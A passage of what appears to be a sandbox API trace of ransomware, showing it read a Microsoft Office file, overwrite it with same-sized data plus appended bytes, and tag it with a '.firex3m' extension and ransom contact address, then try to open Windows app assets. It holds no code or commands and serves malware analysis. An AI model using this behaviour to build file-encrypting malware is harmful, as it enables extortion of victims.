ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x330038, dwReserved1=0x320031, cFileName="Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~2.FIR")) returned 0x6d53c0 [0236.839] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0236.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\common.dbconnection64.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0236.839] GetProcessHeap () returned 0x630000 [0236.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6ee1) returned 0x70e79e0 [0236.839] GetProcessHeap () returned 0x630000 [0236.839] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6ee1) returned 0x726e6f0 [0236.839] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.839] ReadFile (in: hFile=0x674, lpBuffer=0x70e79e0, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e79e0*, lpNumberOfBytesRead=0x573ff0c*=0x6ec0, lpOverlapped=0x0) returned 1 [0241.147] GetProcessHeap () returned 0x630000 [0241.147] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745bea0 [0241.147] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.147] WriteFile (in: hFile=0x674, lpBuffer=0x726e6f0*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726e6f0*, lpNumberOfBytesWritten=0x573ff0c*=0x6ec0, lpOverlapped=0x0) returned 1 [0241.147] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.147] WriteFile (in: hFile=0x674, lpBuffer=0x72755af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72755af*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.147] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.147] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.147] CloseHandle (hObject=0x674) returned 1 [0241.147] GetProcessHeap () returned 0x630000 [0241.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726e6f0 | out: hHeap=0x630000) returned 1 [0241.148] GetProcessHeap () returned 0x630000 [0241.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e79e0 | out: hHeap=0x630000) returned 1 [0241.148] GetProcessHeap () returned 0x630000 [0241.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745bea0 | out: hHeap=0x630000) returned 1 [0241.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55af173a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6ee4, dwReserved0=0xa5c7496, dwReserved1=0x70e79d8, cFileName="Common.DBConnection64.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COMMON~2.FIR")) returned 0x6d5340 [0241.148] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0241.148] Sleep (dwMilliseconds=0x1) [0243.077] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.scale-100.png", len=0x7d | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.scale-100.png") returned 1 [0243.077] GetProcessHeap () returned 0x630000 [0243.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5440) returned 0x6fe3bb0 [0243.077] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.080] Sleep (dwMilliseconds=0x1) [0243.113] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png", len=0x7f | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png") returned 1 [0243.113] GetProcessHeap () returned 0x630000 [0243.113] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53c8) returned 0x6fe3bb0 [0243.113] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.123] Sleep (dwMilliseconds=0x1) [0243.139] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri", len=0x64 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri") returned 1 [0243.139] GetProcessHeap () returned 0x630000 [0243.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5390) returned 0x6fe3bb0 [0243.139] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.155] Sleep (dwMilliseconds=0x1) [0243.165] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Quality.png", len=0x81 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Quality.png") returned 1 [0243.165] GetProcessHeap () returned 0x630000 [0243.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5334) returned 0x6fe3bb0 [0243.166] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Quality.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_quality.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.170] Sleep (dwMilliseconds=0x1) [0243.179] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Materials.png", len=0x73 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Materials.png") returned 1 [0243.179] GetProcessHeap () returned 0x630000 [0243.179] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5308) returned 0x6fe3bb0 [0243.179] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Materials.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_materials.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.179] Sleep (dwMilliseconds=0x1) [0243.203] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.scale-100.png", len=0x93 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.scale-100.png") returned 1 [0243.203] GetProcessHeap () returned 0x630000 [0243.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52a0) returned 0x6fe3bb0 [0243.203] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.203] Sleep (dwMilliseconds=0x1) [0243.216] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-256.png", len=0x8d | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-256.png") returned 1 [0243.216] GetProcessHeap () returned 0x630000 [0243.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5284) returned 0x6fe3bb0 [0243.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\icon.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.216] Sleep (dwMilliseconds=0x1) [0243.233] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24.png", len=0x97 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24.png") returned 1 [0243.233] GetProcessHeap () returned 0x630000 [0243.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5260) returned 0x6fe3bb0 [0243.234] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square44x44Logo.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square44x44logo.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.235] Sleep (dwMilliseconds=0x1) [0243.249] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png", len=0x65 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png") returned 1 [0243.249] GetProcessHeap () returned 0x630000 [0243.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5220) returned 0x6fe3bb0 [0243.249] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\lightblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.257] Sleep (dwMilliseconds=0x1) [0243.281] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle.png", len=0x73 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle.png") returned 1 [0243.281] GetProcessHeap () returned 0x630000 [0243.281] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51cc) returned 0x6fe3bb0 [0243.281] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Rectangle.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\rectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.311] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star.png", len=0x76 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star.png") returned 1 [0243.311] GetProcessHeap () returned 0x630000 [0243.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0243.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\8-point star.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.318] Sleep (dwMilliseconds=0x1) [0243.339] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-white.png", len=0x80 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-white.png") returned 1 [0243.339] GetProcessHeap () returned 0x630000 [0243.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5130) returned 0x6fe3bb0 [0243.339] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.339] Sleep (dwMilliseconds=0x1) [0243.353] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150.png", len=0x6c | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150.png") returned 1 [0243.353] GetProcessHeap () returned 0x630000 [0243.353] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c8) returned 0x6fe3bb0 [0243.353] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.353] Sleep (dwMilliseconds=0x1) [0243.364] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-black.png", len=0x7b | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-black.png") returned 1 [0243.364] GetProcessHeap () returned 0x630000 [0243.364] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b4) returned 0x6fe3bb0 [0243.364] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.364] Sleep (dwMilliseconds=0x1) [0243.400] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-white.png", len=0x7f | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-white.png") returned 1 [0243.400] GetProcessHeap () returned 0x630000 [0243.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5034) returned 0x6fe3bb0 [0243.400] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-96_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.400] Sleep (dwMilliseconds=0x1) [0243.411] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-black.png", len=0x7f | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-black.png") returned 1 [0243.411] GetProcessHeap () returned 0x630000 [0243.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5020) returned 0x6fe3bb0 [0243.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-80_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.411] Sleep (dwMilliseconds=0x1) [0243.430] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_altform-unplated.png", len=0x81 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_altform-unplated.png") returned 1 [0243.430] GetProcessHeap () returned 0x630000 [0243.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fbc) returned 0x6fe3bb0 [0243.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-36_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.430] Sleep (dwMilliseconds=0x1) [0243.443] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32.png", len=0x70 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32.png") returned 1 [0243.443] GetProcessHeap () returned 0x630000 [0243.443] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa8) returned 0x6fe3bb0 [0243.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.443] Sleep (dwMilliseconds=0x1) [0243.507] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-black.png", len=0x7b | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-black.png") returned 1 [0243.507] GetProcessHeap () returned 0x630000 [0243.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f44) returned 0x6fe3bb0 [0243.507] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.507] Sleep (dwMilliseconds=0x1) [0243.522] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-100.png", len=0x67 | out: pbstr=0x573ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-100.png") returned 1 [0243.522] GetProcessHeap () returned 0x630000 [0243.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f10) returned 0x6fe3bb0 [0243.522] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\StoreLogo.scale-100.png" (normalized: "c:\\program 